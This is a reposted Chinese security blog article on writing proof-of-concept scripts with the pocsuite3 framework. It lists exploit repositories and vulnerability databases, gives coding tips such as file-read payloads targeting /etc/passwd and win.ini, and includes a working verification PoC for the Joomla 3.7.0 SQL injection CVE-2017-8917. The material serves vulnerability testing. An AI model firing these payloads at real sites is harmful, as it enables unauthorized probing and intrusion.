干货|编写POC时候的几个参考项目

admin 2022年5月3日18:19:57评论47 views字数 4125阅读13分45秒阅读模式

文章转载于https://codingnote.cc/p/488182/


0x01. 背景


在编写pocsuite时候,会查阅大量的文件,poc利用方式。

1. pocsuite是什么

Pocsuite 是由知道创宇404实验室打造的一款开源的远程漏洞测试框架。它是知道创宇安全研究团队发展的基石,是团队发展至今一直维护的一个项目,保障了我们的 Web 安全研究能力的领先。你可以直接使用 Pocsuite 进行漏洞的验证与利用;你也可以基于 Pocsuite 进行 PoC/Exp 的开发,因为它也是一个 PoC 开发框架;同时,你还可以在你的漏洞测试工具里直接集成 Pocsuite,它也提供标准的调用类。

感觉:有很多大公司,都是基于这个模板的壳来改的,这个算是安全圈内,漏洞扫描框架数一数二的存在。
干货|编写POC时候的几个参考项目


0x02. pocsuite官方文档


官方地址://pocsuite.org/
项目地址://github.com/knownsec/pocsuite3/
编写手册:https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md#%E5%8F%AF%E8%87%AA%E5%AE%9A%E4%B9%89%E5%8F%82%E6%95%B0%E7%9A%84%E6%8F%92%E4%BB%B6%3Cdiv-id=%22plugin_div%22%3E%3C/div%3E


0x03. 几个比较好的poc编写项目


1. exphub

//github.com/zhzyker/exphub
干货|编写POC时候的几个参考项目
Exphub[漏洞利用脚本库]
目前包括Webloigc、Struts2、Tomcat、Drupal的漏洞利用脚本,均为亲测可用的脚本文件,尽力补全所有脚本文件的使用说明文档,优先更新高危且易利用的漏洞利用脚本。

2. PeiQi-WIKI-POC

//github.com/PeiQi0/PeiQi-WIKI-POC
PeiQI 师傅收集的poc,在安全圈内也很出名。
干货|编写POC时候的几个参考项目

3. vulnerabilities

//github.com/projectdiscovery/nuclei-templates/tree/master/vulnerabilities
博主编写了更为通用的yaml文件,将漏洞利用进行汇总。
干货|编写POC时候的几个参考项目

4. 数字观星

//poc.shuziguanxing.com/#/issueList
数字观星本来不公开poc,但是买poc,也列进来吧。
干货|编写POC时候的几个参考项目


0x04.几个漏洞库


1. CNVD

//www.cnvd.org.cn/flaw/list.htm?flag=true
干货|编写POC时候的几个参考项目

2. 阿里云漏洞库

//avd.aliyun.com/nonvd/list
干货|编写POC时候的几个参考项目

3. 狼组知识库

//wiki.wgpsec.org/knowledge/
虽然不是最新漏洞库更新集合,但也是一个很不错的知识库。
干货|编写POC时候的几个参考项目

4. 奇安信NOX

//nox.qianxin.com/vulnerability
也会更新漏洞,信息还算及时吧
干货|编写POC时候的几个参考项目

5. paper

//paper.seebug.org/
一个精华的网站,值得学习
干货|编写POC时候的几个参考项目


0x04. poc编写注意事项


1.尽量使用官方库

from pocsuite3.api import requests
from pocsuite3.api import Output, POCBase,logger
from pocsuite3.api import register_poc
from pocsuite3.lib.utils import random_str

2.requests忽略https请求

verify=False
例如:
res = requests.get(vulurl, verify=False)

3.做异常抛出

try:
do something
except (KeyError,IndexError):
pass
except Exception as e:
# print(e)
logger.error(f"connect target '{self.url} failed!'")

4.响应不能太简单

不应单纯使用响应状态码作为判断条件,可添加页面关键字作为第二个判断条件
错误:if resp.status_code == 200:
正确:if resp.status_code == 200 and ‘xxxxxxxx’ in resp.text:

5.分辨Windows和linux

req = requests.get(url=vulurl,headers=headers, timeout=self.timeout, verify=False)
if r"root:x:0:0:root" in req.text and r"/root:/bin/bash" in req.text and r"/usr/sbin/nologin" in req.text:
if r"daemon:" in req.text and req.status_code == 200:
result['VerifyInfo'] = {}
result['VerifyInfo']['url'] = target
break
else:
payload = 'file:///C:windows/win.ini'
req = requests.get(url=vulurl, headers=headers, timeout=self.timeout, verify=False)
if r"app support" in req.text and r"[fonts]" in req.text and r"[mci extensions]" in req.text:
if r"files" in req.text and req.status_code == 200:
result['VerifyInfo'] = {}
result['VerifyInfo']['url'] = target
break


0x05. 示例poc


#!/usr/bin/env python3.8

from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from urllib.parse import urlparse
from pocsuite3.lib.utils import random_str
import random
import hashlib

class DemoPOC(POCBase):
vulID = 'CVE-2017-8917'
version = 'Joomla 3.7.0'
author = ['姓名']
vulDate = '2017-5-17'#漏洞公布时间,可参考nvd漏洞发布时间
createDate = '2021-8-1'#poc创建时间
updateDate = '2021-8-1'#poc修改时间
references = ['//nvd.nist.gov/vuln/detail/CVE-2017-8917']
name = 'Joomla! SQL注入漏洞'
appPowerLink = '//www.joomla.org/'
appName = 'Joomla'
appVersion = 'Joomla <3.7.1'
vulType = 'SQL注入漏洞'
desc = '''
Joomla! 3.7.1之前的3.7.x版本中存在SQL注入漏洞。远程攻击者可利用该漏洞执行任意SQL命令。
'''


def _verify(self):
# 验证代码
result = {}
token = random.randint(1,10000)
upr = urlparse(self.url)
if upr.port:
ports = [upr.port]
else:
ports = [80,443,8080]
for port in ports:
target = '{}://{}:{}'.format(upr.scheme, upr.hostname, port)
if target:
try:
self.timeout = 5
payload = "/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,md5({})),1)".format(token)
geturl = target + payload
res = requests.get(geturl, timeout=self.timeout, verify=False)
flag = hashlib.new('md5', bytes(str(token).encode('utf-8'))).hexdigest()
if res.status_code == 500 and flag in res.text :
result['VerifyInfo'] = {}
result['VerifyInfo']['url'] = target
break
except Exception as e:
print(e)
return self.parse_output(result)
def _attack(self):
return self._verify()

def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output


register_poc(DemoPOC)


参考


1.pocsuite:https://pocsuite.org/

2.pocsuite编写手册:https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md#%E5%8F%AF%E8%87%AA%E5%AE%9A%E4%B9%89%E5%8F%82%E6%95%B0%E7%9A%84%E6%8F%92%E4%BB%B6%3Cdiv-id=%22plugin_div%22%3E%3C/div%3E

3.360漏洞云:https://bugcloud.360.net/hello



原文始发于微信公众号(菜鸟学安全):干货|编写POC时候的几个参考项目

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月3日18:19:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   干货|编写POC时候的几个参考项目https://cn-sec.com/archives/970338.html

发表评论

匿名网友 填写信息